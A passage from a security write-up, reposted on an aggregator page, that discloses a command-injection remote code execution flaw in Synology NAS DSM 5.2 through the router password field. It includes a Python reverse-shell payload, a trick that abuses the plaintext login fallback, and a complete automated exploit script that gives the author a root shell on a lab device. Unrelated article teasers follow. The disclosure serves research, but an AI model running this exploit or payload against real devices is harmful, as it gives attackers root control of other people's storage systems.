.+ ,$value , $match )) {
$App [] = $match [1 ];
} else if (preg_match("/td class=\"indence fixedtdwidth fixedtd\" style=\"position:relative; z-index:1;\">(\S+)<\/td> ,$value , $match )) {
$appDev [] = $match [1 ];
} else if (preg_match("/<\/table>/i" ,$value , $match )) {
break ;
} else {
}
}
unset ($value );
$app_count = count($appDev );
for ($i =0 ; $i <$app_count ; $i ++) {
if (preg_match("/^" .$dev_name ."$/" , $appDev [$i ]) || preg_match("/^" .$synologyNo ."$/" , $App [$i ])) {
$deleDev [] = $App [$i ];
}
}
$dele_count = count($deleDev );
$deleStr ="" ;
for ($i =0 ; $i <$dele_count ; $i ++) {
$app_count = count($App );
$deleStr ="" ;
for ($t = 1 ; $t <= $app_count ; $t ++) {
$deleStr =$deleStr ."&delete" .$t ."=" .$App [$t -1 ];
if (preg_match("/" .preg_quote($App [$t -1 ])."/" , $deleDev [$i ], $m )) {
$deletenow =$t ;
}
}
$szCmd ="/usr/syno/bin/curl -b " .$header ." -u 'admin:" .$pass ."' -d 'app_name=-" .$deleStr ."&device_ip=-&form_action=delete" .$deletenow ."&rn=" .$rn ."' '" .$url ."'" ;
system($szCmd );
$tmparray =$App ;
$App =array ();
for ($j = 0 ; $j < $app_count ; $j ++) {
if ($tmparray [$j ] !== $deleDev [$i ]) {
$App [] = $tmparray [$j ];
}
}
}
exit (0 );
?>
As we can see, the php script above appears to contain the following functionality:
Take inputs passed to the script
Add port forwarding rules via a 3rd party routers web interface
Delete port forwarding rules via a 3rd party routers web interface Interestingly, when a port is deleted the (unsanitised) inputs passed to the script are unsafetly concatenated into a string, then passed to a php system call. If we can control these inputs, we can ‘break out’ of the string and append arbitrary commands to the system call; thereby obtaining RCE on the NAS device.
A first look
The NAS OS has installed by this point, so we can login to the device and take a look around the UI. The UI looks nice and the control panel appears to have many features. One in particular that takes my immediate interest (based on the script above) is ‘External Access’.
The ‘External Access’ option permits users to configure their router and from within the NAS UI they can perform actions on their router such as adding or deleting forwarded ports. Based on the naming convention of our vulnerable script above, the ‘BT: HomeHUB2.0’ looks promising. By using the ‘custom router account’ we can also identify what appears to be the parameters being passed to the script.
Gaining access
Assuming these parameters are passed directly to the php script with no intermediate sanitisation, we can attempt to modify the php system call by ‘breaking out’ of the unsafetly concatenated string and appending our own arbitrary commands.
In particular, the offending line:
$szCmd ="/usr/syno/bin/curl -b " .$header ." -u 'admin:" .$pass ."' -d 'app_name=-" .$deleStr ."&device_ip=-&form_action=delete" .$deletenow ."&rn=" .$rn ."' '" .$url ."'" ;
For example, by changing our router password to a\’;touch /tmp/test, we should ‘break out’ of the initial command and append touch /tmp/test, which will then also be passed to the system call. Thereby writing the file test to the /tmp directory of the NAS device.
Creating files is well and good, but to make the most of an RCE, we want a revere shell.
For example, using python we can set the following password for the HomeHub2.0 router, which will initiate a reverse shell from the NAS device to our system listening at 192.168.50.1 on TCP port 1234 when the affected call is triggered:
b\';python -c ' import socket ,subprocess,os;s =socket .socket (socket .AF_INET,socket .SOCK_STREAM);s .connect (("192.168.50.1" ,1234 ));os.dup2(s .fileno(),0 );os.dup2(s .fileno(),1 );os.dup2(s .fileno(),2 );p=subprocess.call(["/bin/sh" ,"-i" ])
Once the backdoored router password has been added, we simply need to follow the information flow as per the script above to trigger our backdoor and gain a reverse shell:
Login to the NAS UI
Set up the HomeHub2.0 router with the backdoored password
Delete some router rule
Automating the process
Naturally, we want to automate this attack. Unfortunately, the login process to the NAS is not straight forward. When logging in, the username and password (and some additional parameters) are encrypted with both RSA and AES (assumedly to protect against MITM attacks on the network) and then the encrypted data is posted to the server.
Looking at the client side JavaScript files we can identify how this encryption is being performed.
onEncryptionDone: function(a, h, f) {
var c = this.form .findField ("passwd" ),
b = this.form .findField ("__cIpHeRtExT" ),
e = this.form .findField ("client_time" ),
d = "" ,
g = {}
if (a) {
SYNO.Encryption .CipherKey = h.cipherkey
SYNO.Encryption .RSAModulus = h.public _key
SYNO.Encryption .CipherToken = h.ciphertoken
SYNO.Encryption .TimeBias = h.server _time - Math.floor (+new Date() / 1000 )
}
g[c.getName ()] = c.getValue ()
g.key = SYNO.SDS .ForgetPass .ticket
g[e.getName ()] = e.getValue ()
g = SYNO.Encryption .EncryptParam (g)
d = g[h.cipherkey ] || ""
b.setValue (d)
this.initIFrameEvent ()
this.setFormDisabled (true, !!d)
this.form .el .dom .submit ()
},
SYNO.Encryption .EncryptParam = function(g) {
var e, c, b, d = {},
a = {},
f = SYNO.Encryption .GenRandomKey (501 )
if (!SYNO.Encryption .CipherKey || !SYNO.Encryption .RSAModulus || !SYNO.Encryption .CipherToken ) {
return g
}
e = new SYNO.Encryption .RSA ()
e.setPublic (SYNO.Encryption .RSAModulus , "10001" )
d[SYNO.Encryption .CipherToken ] = Math.floor (+new Date() / 1000 ) + SYNO.Encryption .TimeBias
c = e.encrypt (f)
if (!c) {
return g
}
Ext.apply (d, g)
b = SYNO.Encryption .AES .encrypt (Ext.urlEncode (d), f).toString ()
if (!b) {
return g
}
a[SYNO.Encryption .CipherKey ] = JSON.stringify ({
rsa: SYNO.Encryption .Base 64.hex 2b64(c),
aes: b
})
return a
}
During the login process, the client also submits a request to obtain the server’s public key. As seen in the script above, when a response from the server results in a failure, it’s possible to submit the valid login request in plain text. Therefore we don’t need to re-implement this encryption method, we can instead abuse the insecure fall back.
Firstly, we login to the device:
session = requests. session()
data = {'username' :username,'passwd' :password,'OTPcode' :'' ,'__cIpHeRtExT' :'' ,'client_time' :'0' ,'isIframeLogin' :'yes' }
url = 'https://%s:%s/webman/login.cgi?enable_syno_token=yes' % (nas_ip, nas_port)
syno_token = session. post(url, data = data , verify= False ). content. split("\"" )[ 3 ]
headers = {'X-SYNO-TOKEN' : syno_token}
Secondly, we utilise the valid cookie and custom synology headers to set up the vulnerable router with our backdoored password:
backdoor = '"b\\\';python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])"' % (my_ip, my_port)
data = {'router_brand' :'BT' ,'router_model' :'HomeHub2.0' ,'router_version' :'Version8.1.H.G_TypeA' ,'router_protocol' :'http' ,'router_port' :'8000' ,'support_upnp' :'no' ,'support_natpmp' :'no' ,'router_account' :'aaaaa' ,'router_pass' :backdoor,'api' :'SYNO.Core.PortForwarding.RouterConf' ,'method' :'set' ,'version' :'1' }
url = 'https://%s:%s/webapi/_______________________________________________________entry.cgi' % (nas_ip, nas_port)
session. post(url, data = data , verify= False , headers= headers)
Finally, we trigger the backdoor by removing a port forwarding rule:
{'rules' :'[{" id":0," enable":true," rule_id":" 1 "," ds_port":" 1 "," router_port":" 1 "," router_protocol":" tcp"," serviceid":" "," service_name":false," force":false}]' ,'task_id_suffix' :"PF" ,'api' :'SYNO.Core.PortForwarding.Rules' ,'method' :'save' ,'version' :"1" }
session. post(url, data=data, verify=False, headers=headers)
Pulling it all together
import requests
from pwn import *
requests. packages. urllib3. disable_warnings()
username = 'test'
password = 'test'
nas_ip = '192.168.50.10'
nas_port = 5001
my_ip = '192.168.50.11'
my_port = 1234
print "[+] Accessing device.."
session = requests. session()
data = {'username' :username,'passwd' :password,'OTPcode' :'' ,'__cIpHeRtExT' :'' ,'client_time' :'0' ,'isIframeLogin' :'yes' }
url = 'https://%s:%s/webman/login.cgi?enable_syno_token=yes' % (nas_ip, nas_port)
syno_token = session. post(url, data=data, verify=False).content. split("\"" )[3 ]
headers = {'X-SYNO-TOKEN' : syno_token}
print "[+] Extracted SYNO-TOKEN %s.." % syno_token
backdoor = '" b\\\';python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((" %s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([" /bin/sh"," -i"])" ' % (my_ip, my_port)
data = {' router_brand' :'BT' ,'router_model' :'HomeHub2.0' ,'router_version' :'Version8.1.H.G_TypeA' ,'router_protocol' :'http' ,'router_port' :'8000' ,'support_upnp' :'no' ,'support_natpmp' :'no' ,'router_account' :'aaaaa' ,'router_pass' :backdoor,'api' :'SYNO.Core.PortForwarding.RouterConf' ,'method' :'set' ,'version' :'1' }
url = 'https://%s:%s/webapi/_______________________________________________________entry.cgi' % (nas_ip, nas_port)
session. post(url, data=data, verify=False, headers=headers)
print "[+] Backdoored external access password.."
data = {'rules' :'[{" id":0," enable":true," rule_id":" 1 "," ds_port":" 1 "," router_port":" 1 "," router_protocol":" tcp"," serviceid":" "," service_name":false," force":false}]' ,'task_id_suffix' :"PF" ,'api' :'SYNO.Core.PortForwarding.Rules' ,'method' :'save' ,'version' :"1" }
session. post(url, data=data, verify=False, headers=headers)
print "[+] Triggering backdoor.."
l = listen(my_port)
l. interactive()
It’s running as root , so that makes privilege escalation a breeze.
Note: The astute readers might notice the vulnerable php script above will only follow the aforementioned data flow when specific patterns are matched (based on the responses received from the routers web interface). Initially, I set up a faux router (based on a real web interface for HomeHub2.0 identified via a Shodan search) to give the correct dummy responses to ensure the data flow was followed as expected. However, this ultimately was not needed to trigger the RCE, so I suspect something even more sinister is going on under the hood; which I did not investigated.
PS: for those of you playing along at home who also want a shell on their NAS. I later found it’s also possible to just enable SSH via the UI.
References
http://rileykidd.com/2016/01/12/synology-nas-dsm-5-2-remote-code-execution-rce/ https://download.xpenology.fr/ http://xpenology.me/downloads/ https://www.youtube.com/watch?v=UW-SQbCd8aw
你可能感兴趣的:(Vulnerability,Analysis)
java中对象可达性分析 + 自动回收算法
盒子6910
运维专栏 算法 java jvm
“对象可达性分析+自动回收算法”是JavaGC(垃圾回收)核心的两个环节,下面详细解释:1.对象可达性分析(ReachabilityAnalysis)目的:判定哪些对象“活着”,哪些对象已经变成“垃圾”可以回收。原理:JVM会用一组叫“GCRoots(垃圾收集根节点)”的基础对象为起点,从这些根出发,沿着对象之间的引用关系去递归搜索。如果某个对象能通过这条引用链与GCRoot相连,那么它就是“可达
echarts ---柱状图多个柱子时,设置legend不显示、图形大小随窗口变动
weixin_45907435
echarts 前端 javascript
1、html设置图形容器2、js绘制图形mounted(){//给window添加resize事件,使图形大小随窗口变化而变化window.addEventListener('resize',()=>{constchartDom=document.getElementById('trendAnalysisChart')constchartTrend=chartDom&&echarts.init(c
FPGA设计的时序分析概要
cycf
FPGA之道 fpga开发
FPGA设计的时序分析文章目录FPGA设计的时序分析时序分析的概念和必要性时序分析的分类映射后时序分析时序约束与时序分析的关系特殊情况小总结时序分析的概念和必要性时序分析,也叫静态时序分析(StaticTimingAnalysis,简称STA),它通过完整的分析方式判断IC是否能在使用者的时序环境下正常工作,为确保IC品质提供了一个很好的解决方案。也许有人会问,我的FPGA设计已经通过了功能仿真,
JVM调优实战 Day 9:JVM堆转储分析
在未来等你
JVM调优实战 JVM Java 性能优化 调优 虚拟机
【JVM调优实战Day9】JVM堆转储分析文章内容开篇:Day9——JVM堆转储分析的核心价值在“JVM调优实战”系列的第9天,我们聚焦于JVM堆转储分析(HeapDumpAnalysis)。这是JVM性能诊断和内存问题排查的重要手段之一,尤其适用于解决内存泄漏、内存溢出、对象分布异常等问题。本节将详细介绍堆转储的基本概念、生成方式、分析工具及实际应用案例。通过本节的学习,读者可以掌握如何利用jm
Cursor 对 flutter pub get 的误解
依旧风轻
Flutter flutter SQI iOS pub get
场景我的疑问flutterpubget是否可以理解为:运行一次完整的编译来生成所有必要的文件Analysis分析不能——flutterpubget只做“依赖准备”,远远谈不上“完整编译”。对比项flutterpubget真正的编译(flutterbuild/flutterrun)解析并锁定pubspec.yaml中声明的包版本✅✅(先隐式调用一次pubget,若已最新则跳过)下载缺失的包到~/.p
Cadence Design Systems EDA介绍(五)--Innovus
小蘑菇二号
笔记
目录Innovus的主要功能1.初始布局规划(Floorplanning)2.详细布局(Placement)3.布线(Routing)4.时序分析与优化(TimingAnalysisandOptimization)5.功耗分析与优化(PowerAnalysisandOptimization)6.面积优化(AreaOptimization)7.签核(Sign-off)Innovus的特点1.高性能2
嘉为蓝鲸可观测系列产品入选Gartner《中国智能IT监控与日志分析工具市场指南》
嘉为蓝鲸
可观测 嘉为蓝鲸 智能运维 Gartner 可观测
直达原文:嘉为蓝鲸可观测系列产品入选Gartner《中国智能IT监控与日志分析工具市场指南》2025年5月,国际研究机构Gartner发布了《中国智能IT监控与日志分析工具市场指南》(MarketGuideforIntelligentITMonitoringandLogAnalysisToolsinChina),嘉为蓝鲸全栈智能可观测中心·鲸眼凭借嘉为蓝鲸日志中心与嘉为蓝鲸应用性能观测中心(APM
Python爬虫实战:研究TextBlob相关技术
ylfhpy
爬虫项目实战 python 爬虫 开发语言 html TextBlob
1.引言1.1研究背景与意义随着互联网技术的飞速发展,社交媒体已成为人们获取信息和表达观点的重要平台。每天在社交媒体上产生的海量文本数据蕴含着丰富的情感信息和社会舆情,分析这些文本情感倾向,有助于企业了解消费者对产品和服务的评价,政府部门监测社会舆论动态,研究机构探索公众对热点事件的态度。情感分析(SentimentAnalysis)作为自然语言处理的重要分支,旨在通过计算方法识别和提取文本中的主
(简介)因果中介分析(Causal Mediation Analysis)
音程
人工智能 人工智能
因果中介分析(CausalMediationAnalysis)是因果推断领域的一个重要方法,用于研究某个自变量(如干预措施或处理因素)对因变量(结果)的影响是否通过某个中介变量(Mediator)间接产生作用。它旨在分解总效应(TotalEffect)为直接效应(DirectEffect)和间接效应(IndirectEffect),从而揭示因果关系的潜在机制。核心概念:变量定义:自变量(X):研究
鸿蒙中位置权限和相机权限
大尾巴昂
harmonyos 数码相机 华为
1.module.json5中添加相关权限和string.json中配置信息2.详情代码import{hilog}from'@kit.PerformanceAnalysisKit';import{TAG}from'@ohos/hypium/src/main/Constant';import{bundleManager,common}from'@kit.AbilityKit';import{abil
DeepSeek在数据分析与科学计算中的革命性应用
软考和人工智能学堂
# DeepSeek快速入门 Python开发经验 # 深度学习 python 机器学习 开发语言
1.数据预处理自动化1.1智能数据清洗fromdeepseekimportDataCleanerimportpandasaspddefauto_clean_data(df):cleaner=DataCleaner()analysis=cleaner.analyze(df)print("数据问题诊断:")forissueinanalysis['issues']:print(f"-{issue['ty
【RKNN】RKNN-Toolkit2 Python API之accuracy_analysis函数详解
浩瀚之水_csdn
# RK平台边缘端部署(实践) python 数据挖掘 开发语言
accuracy_analysis()是RKNN-Toolkit2中用于量化精度分析的核心接口,通过对比浮点模型与量化模型(或NPU硬件推理)的输出差异,定位量化误差来源。以下结合多篇文档整理其核心参数、使用流程及优化策略:一、核心参数说明参数名类型默认值说明inputslist[str/ndarray]必填输入数据路径或Numpy数组列表(需与模型输入尺寸一致)。ref_outputslist[
GCB | 土地利用变化对土壤矿物结合态和颗粒有机碳的影响
生态学者
大数据 r语言
本文首发于“生态学者”微信公众号!西北农林科技大学任成杰教授指导的博士生赵雨晴在《GlobalChangeBiology》发表题为《AGlobalMeta-AnalysisofLandUseChangeonSoilMineral-AssociatedandParticulateOrganicCarbon》的研究成果。文章发表后被美国科学院院刊《PNAS》编委会选中(每月从已发表的国际期刊挑选3-4
PyABSA 入门指南:基于深度学习的情感分析工具包
是纯一呀
DeepLearning AI NLP 深度学习 人工智能 NLP
在自然语言处理(NLP)领域,情感分析(SentimentAnalysis)一直是热门任务之一。而基于方面的情感分析(Aspect-BasedSentimentAnalysis,ABSA),则是更细粒度的分析方式——不仅判断正负情绪,还识别情绪对象(方面)和具体情感极性(如好/差)。什么是PyABSA?PyABSA(PythonAspect-BasedSentimentAnalysis)是一个专为
探秘Flink Streaming Source Analysis:一个强大的流处理源码解析工具
强妲佳Darlene
探秘FlinkStreamingSourceAnalysis:一个强大的流处理源码解析工具去发现同类优质开源项目:https://gitcode.com/项目简介在大数据实时处理领域,ApacheFlink是一个不可或缺的名字。而flink-streaming-source-analysis项目是由开发者mickey0524创建的一个开源工具,旨在帮助我们更深入地理解和分析Flink流处理的源代码
量子计算与量子信息科学前沿进展
软考和人工智能学堂
人工智能 # 深度学习 Python开发经验 量子计算
1.量子纠错与容错计算1.1表面码理论fromqiskit_qec.analysisimportDecodingGraphAnalysisfromqiskit_qec.circuitsimportSurfaceCodeCircuit#表面码电路生成defcreate_surface_code(d=3,rounds=1):"""创建d×d表面码电路"""code=SurfaceCodeCircuit
空间转录组benchmark 相关 读完scGPT spatial 和 空间单细胞基因乳房细胞数据集文章之后
victory0431
人工智能
文章目录✅空间转录组测序方式总体划分成像型空间转录组(Imaging-basedST)原理:技术代表&特点:优点:局限:测序型空间转录组(Sequencing-basedST)原理:技术代表&特点:优点:局限:成像型vs测序型空间转录组对比表✅回到你问的SpatialHuman30M构建策略理解:总结你的问题:✅①**NeighborhoodEnrichmentAnalysis:空间邻近富集分析*
A Survey on Deep Learning Techniques Applied to medical image analysis
AI天才研究院
AI人工智能与大数据 自然语言处理 人工智能 语言模型 编程实践 开发语言 架构设计
作者:禅与计算机程序设计艺术文章目录1.简介2.BackgroundandKeyConceptsIntroductionKeyTerms&Concepts3.CoreTechnicalConceptsandOperationsConvolutionalNeuralNetwork(CNN)StructureofaCNNLayerBuildingBlocksofCNNConvolutionalLaye
FilemonRead 蓝屏错误分析
分析结果是FilemonRead这个函数里使用栈太大,如果多次陷入导致栈空间不够导致。mark给自己堆栈如下:kd>!analyze-v**********************************************************************************BugcheckAnalysis**********************************
TIP-2025《Data Subdivision Based Dual-Weighted Robust Principal Component Analysis》
Christo3
机器学习 人工智能 机器学习 算法
核心思想分析这篇论文提出了一个新颖的主成分分析(PCA)方法,称为DataSubdivisionBasedDual-WeightedRobustPrincipalComponentAnalysis(DRPCA),旨在解决传统PCA在处理包含噪声和异常值的数据时的鲁棒性问题。其核心思想包括以下几个方面:数据细分与双权重机制:传统PCA假设数据已中心化,并使用平方l2l_2l2-范数,这对噪声和异常值
Python爬虫实战:爬取社交媒体评论数据进行情感分析
Python爬虫项目
2025年爬虫实战项目 python 爬虫 媒体 开发语言 chrome c++
引言在现代互联网社会,社交媒体已成为人们表达情感、分享看法以及传播信息的重要平台。Twitter、Facebook、Instagram等社交媒体每天都产生着海量的用户评论和互动,这些内容蕴含着丰富的情感信息。因此,如何从社交媒体中抓取评论数据,并对这些评论进行情感分析,已经成为了数据分析、舆情监测、市场调研等领域的热门应用。情感分析(SentimentAnalysis)是一种自然语言处理技术,通过
SAM分割一切系列相关论文梳理
↣life♚
计算机视觉 通用模型 大模型 深度学习 计算机视觉 通用分割 transformer SAM 自动标注
文章目录SAM相关论文SAM优化或功能拓展[MedicalImageAnalysis2025]UN-SAM:Domain-AdaptiveSelf-PromptSegmentationforUniversalNucleiImages-通过自动生成掩码prompt减轻标注工作,实现细胞通用分割[NIPS2023]SegmentEverythingEverywhereAllatOnce-比SAM交互能
python监控已提交内存_python 内存监控模块之memory_profiler
weixin_39952031
python监控已提交内存
0.memory_profiler是干嘛的Thisisapythonmoduleformonitoringmemoryconsumptionofaprocessaswellasline-by-lineanalysisofmemoryconsumptionforpythonprograms.Itisapurepythonmoduleandhasthepsutilmoduleasoptional(bu
Python基础应用于电影数据分析实战项目
Lemaden
本文还有配套的精品资源,点击获取简介:本项目“analysis-movie-dataset”旨在使用Python基础技能对电影数据集进行分析。项目通过导入Pandas和Numpy等核心数据处理库,加载和初步了解数据集,进行数据清洗,以及计算统计量和进行可视化分析。此外,将探讨如何利用Matplotlib和Seaborn库创建图表,以及运用Pandas和Scikit-learn库进行更复杂的数据分析
arcpy数据分析自动化(4)
pianmian1
python
最后,我们将统计结果输出为一个Excel文件,方便进一步分析和报告。importpandasaspd#将统计结果转换为pandasDataFramearcpy.env.workspace=analysis_gdbchange_analysis_table="Change_Analysis_Statistics.dbf"df=pd.read_csv(change_analysis_table,sep
在 ArcPy 脚本中进行错误处理和调试
pianmian1
arcgis
基本语法try-except语句的基本结构如下:try:#尝试执行的代码块#这里放置可能会引发错误的ArcPy操作arcpy.Buffer_analysis("input_feature","output_feature","1000Meters")exceptExceptionase:#捕获到错误后执行的代码块#打印错误信息print("发生错误:",e)在这个例子中,try块中的代码是尝试执行
python基础入门:3.5实战:词频统计工具
赵鑫亿
python基础入门 开发语言 python
Python词频统计终极指南:字典与排序的完美结合importrefromcollectionsimportdefaultdictdefword_frequency_analysis(file_path,top_n=10):"""完整的词频统计解决方案:paramfile_path:文本文件路径:paramtop_n:显示前N个高频词:return:排序后的词频列表"""#文本预处理管道witho
qStudio 安装和配置指南
吴泽燕Wyman
qStudio安装和配置指南qstudioqStudio-FreeSQLAnalysisTool项目地址:https://gitcode.com/gh_mirrors/qs/qstudio1.项目基础介绍和主要编程语言项目基础介绍qStudio是一个免费的SQL分析工具,提供了一个图形用户界面(GUI),允许用户运行SQL脚本、轻松浏览表格、绘制图表并导出结果。它支持多种数据库,包括MySQL、P
[论文阅读] 人工智能+软件工程 | 用 LLM + 静态代码分析自动化提升代码质量
张较瘦_
前沿技术 论文阅读 人工智能 软件工程
用LLM+静态代码分析自动化提升代码质量论文信息AugmentingLargeLanguageModelswithStaticCodeAnalysisforAutomatedCodeQualityImprovements@article{abtahi2025augmenting,title={AugmentingLargeLanguageModelswithStaticCodeAnalysisfo
高考志愿填报网站服务器,高考志愿填报系统设计方案.doc
PAGE论文题目高考辅助选校系统的分析与设计姓名学院专业指导教师备注高考辅助选校系统的分析与设计作者姓名:指导教师:单位名称:专业名称:AnalysisandDesignoftheApplicationSystemonAuxiliaryCollegeSupervisor:II-毕业设计(论文)任务书毕业设计(论文)题目:高考辅助选校系统的分析与设计设计(论文)的基本内容:高考辅助选校系统是根据高考
JAVA基础
灵静志远
位运算 加载 Date 字符串池 覆盖
一、类的初始化顺序
1 (静态变量,静态代码块)-->(变量,初始化块)--> 构造器
同一括号里的,根据它们在程序中的顺序来决定。上面所述是同一类中。如果是继承的情况,那就在父类到子类交替初始化。
二、String
1 String a = "abc";
JAVA虚拟机首先在字符串池中查找是否已经存在了值为"abc"的对象,根
keepalived实现redis主从高可用
bylijinnan
redis
方案说明
两台机器(称为A和B),以统一的VIP对外提供服务
1.正常情况下,A和B都启动,B会把A的数据同步过来(B is slave of A)
2.当A挂了后,VIP漂移到B;B的keepalived 通知redis 执行:slaveof no one,由B提供服务
3.当A起来后,VIP不切换,仍在B上面;而A的keepalived 通知redis 执行slaveof B,开始
java文件操作大全
0624chenhong
java
最近在博客园看到一篇比较全面的文件操作文章,转过来留着。
http://www.cnblogs.com/zhuocheng/archive/2011/12/12/2285290.html
转自http://blog.sina.com.cn/s/blog_4a9f789a0100ik3p.html
一.获得控制台用户输入的信息
&nbs
android学习任务
不懂事的小屁孩
工作
任务
完成情况 搞清楚带箭头的pupupwindows和不带的使用 已完成 熟练使用pupupwindows和alertdialog,并搞清楚两者的区别 已完成 熟练使用android的线程handler,并敲示例代码 进行中 了解游戏2048的流程,并完成其代码工作 进行中-差几个actionbar 研究一下android的动画效果,写一个实例 已完成 复习fragem
zoom.js
换个号韩国红果果
oom
它的基于bootstrap 的
https://raw.github.com/twbs/bootstrap/master/js/transition.js transition.js模块引用顺序
<link rel="stylesheet" href="style/zoom.css">
<script src=&q
详解Oracle云操作系统Solaris 11.2
蓝儿唯美
Solaris
当Oracle发布Solaris 11时,它将自己的操作系统称为第一个面向云的操作系统。Oracle在发布Solaris 11.2时继续它以云为中心的基调。但是,这些说法没有告诉我们为什么Solaris是配得上云的。幸好,我们不需要等太久。Solaris11.2有4个重要的技术可以在一个有效的云实现中发挥重要作用:OpenStack、内核域、统一存档(UA)和弹性虚拟交换(EVS)。
spring学习——springmvc(一)
a-john
springMVC
Spring MVC基于模型-视图-控制器(Model-View-Controller,MVC)实现,能够帮助我们构建像Spring框架那样灵活和松耦合的Web应用程序。
1,跟踪Spring MVC的请求
请求的第一站是Spring的DispatcherServlet。与大多数基于Java的Web框架一样,Spring MVC所有的请求都会通过一个前端控制器Servlet。前
hdu4342 History repeat itself-------多校联合五
aijuans
数论
水题就不多说什么了。
#include<iostream>#include<cstdlib>#include<stdio.h>#define ll __int64using namespace std;int main(){ int t; ll n; scanf("%d",&t); while(t--)
EJB和javabean的区别
asia007
bean ejb
EJB不是一般的JavaBean,EJB是企业级JavaBean,EJB一共分为3种,实体Bean,消息Bean,会话Bean,书写EJB是需要遵循一定的规范的,具体规范你可以参考相关的资料.另外,要运行EJB,你需要相应的EJB容器,比如Weblogic,Jboss等,而JavaBean不需要,只需要安装Tomcat就可以了
1.EJB用于服务端应用开发, 而JavaBeans
Struts的action和Result总结
百合不是茶
struts Action配置 Result配置
一:Action的配置详解:
下面是一个Struts中一个空的Struts.xml的配置文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
&quo
如何带好自已的团队
bijian1013
项目管理 团队管理 团队
在网上看到博客"
怎么才能让团队成员好好干活"的评论,觉得写的比较好。 原文如下: 我做团队管理有几年了吧,我和你分享一下我认为带好团队的几点:
1.诚信
对团队内成员,无论是技术研究、交流、问题探讨,要尽可能的保持一种诚信的态度,用心去做好,你的团队会感觉得到。 2.努力提
Java代码混淆工具
sunjing
ProGuard
Open Source Obfuscators
ProGuard
http://java-source.net/open-source/obfuscators/proguardProGuard is a free Java class file shrinker and obfuscator. It can detect and remove unused classes, fields, m
【Redis三】基于Redis sentinel的自动failover主从复制
bit1129
redis
在第二篇中使用2.8.17搭建了主从复制,但是它存在Master单点问题,为了解决这个问题,Redis从2.6开始引入sentinel,用于监控和管理Redis的主从复制环境,进行自动failover,即Master挂了后,sentinel自动从从服务器选出一个Master使主从复制集群仍然可以工作,如果Master醒来再次加入集群,只能以从服务器的形式工作。
什么是Sentine
使用代理实现Hibernate Dao层自动事务
白糖_
DAO spring AOP 框架 Hibernate
都说spring利用AOP实现自动事务处理机制非常好,但在只有hibernate这个框架情况下,我们开启session、管理事务就往往很麻烦。
public void save(Object obj){
Session session = this.getSession();
Transaction tran = session.beginTransaction();
try
maven3实战读书笔记
braveCS
maven3
Maven简介
是什么?
Is a software project management and comprehension tool.项目管理工具
是基于POM概念(工程对象模型)
[设计重复、编码重复、文档重复、构建重复,maven最大化消除了构建的重复]
[与XP:简单、交流与反馈;测试驱动开发、十分钟构建、持续集成、富有信息的工作区]
功能:
编程之美-子数组的最大乘积
bylijinnan
编程之美
public class MaxProduct {
/**
* 编程之美 子数组的最大乘积
* 题目: 给定一个长度为N的整数数组,只允许使用乘法,不能用除法,计算任意N-1个数的组合中乘积中最大的一组,并写出算法的时间复杂度。
* 以下程序对应书上两种方法,求得“乘积中最大的一组”的乘积——都是有溢出的可能的。
* 但按题目的意思,是要求得这个子数组,而不
读书笔记-2
chengxuyuancsdn
读书笔记
1、反射
2、oracle年-月-日 时-分-秒
3、oracle创建有参、无参函数
4、oracle行转列
5、Struts2拦截器
6、Filter过滤器(web.xml)
1、反射
(1)检查类的结构
在java.lang.reflect包里有3个类Field,Method,Constructor分别用于描述类的域、方法和构造器。
2、oracle年月日时分秒
s
[求学与房地产]慎重选择IT培训学校
comsci
it
关于培训学校的教学和教师的问题,我们就不讨论了,我主要关心的是这个问题
培训学校的教学楼和宿舍的环境和稳定性问题
我们大家都知道,房子是一个比较昂贵的东西,特别是那种能够当教室的房子...
&nb
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系
daizj
oracle rman filesperset PARALLELISM
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系 转
PARALLELISM ---
我们还可以通过parallelism参数来指定同时"自动"创建多少个通道:
RMAN > configure device type disk parallelism 3 ;
表示启动三个通道,可以加快备份恢复的速度。
简单排序:冒泡排序
dieslrae
冒泡排序
public void bubbleSort(int[] array){
for(int i=1;i<array.length;i++){
for(int k=0;k<array.length-i;k++){
if(array[k] > array[k+1]){
初二上学期难记单词三
dcj3sjt126com
sciet
concert 音乐会
tonight 今晚
famous 有名的;著名的
song 歌曲
thousand 千
accident 事故;灾难
careless 粗心的,大意的
break 折断;断裂;破碎
heart 心(脏)
happen 偶尔发生,碰巧
tourist 旅游者;观光者
science (自然)科学
marry 结婚
subject 题目;
I.安装Memcahce 1. 安装依赖包libevent Memcache需要安装libevent,所以安装前可能需要执行 Shell代码 收藏代码
dcj3sjt126com
redis
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
前面3步应该没有问题,主要的问题是执行make的时候,出现了异常。
异常一:
make[2]: cc: Command not found
异常原因:没有安装g
并发容器
shuizhaosi888
并发容器
通过并发容器来改善同步容器的性能,同步容器将所有对容器状态的访问都串行化,来实现线程安全,这种方式严重降低并发性,当多个线程访问时,吞吐量严重降低。
并发容器ConcurrentHashMap
替代同步基于散列的Map,通过Lock控制。
&nb
Spring Security(12)——Remember-Me功能
234390216
Spring Security Remember Me 记住我
Remember-Me功能
目录
1.1 概述
1.2 基于简单加密token的方法
1.3 基于持久化token的方法
1.4 Remember-Me相关接口和实现
位运算
焦志广
位运算
一、位运算符C语言提供了六种位运算符:
& 按位与
| 按位或
^ 按位异或
~ 取反
<< 左移
>> 右移
1. 按位与运算 按位与运算符"&"是双目运算符。其功能是参与运算的两数各对应的二进位相与。只有对应的两个二进位均为1时,结果位才为1 ,否则为0。参与运算的数以补码方式出现。
例如:9&am
nodejs 数据库连接 mongodb mysql
liguangsong
mongodb mysql node 数据库连接
1.mysql 连接
package.json中dependencies加入
"mysql":"~2.7.0"
执行 npm install
在config 下创建文件 database.js
java动态编译
olive6615
java HotSpot jvm 动态编译
在HotSpot虚拟机中,有两个技术是至关重要的,即动态编译(Dynamic compilation)和Profiling。
HotSpot是如何动态编译Javad的bytecode呢?Java bytecode是以解释方式被load到虚拟机的。HotSpot里有一个运行监视器,即Profile Monitor,专门监视
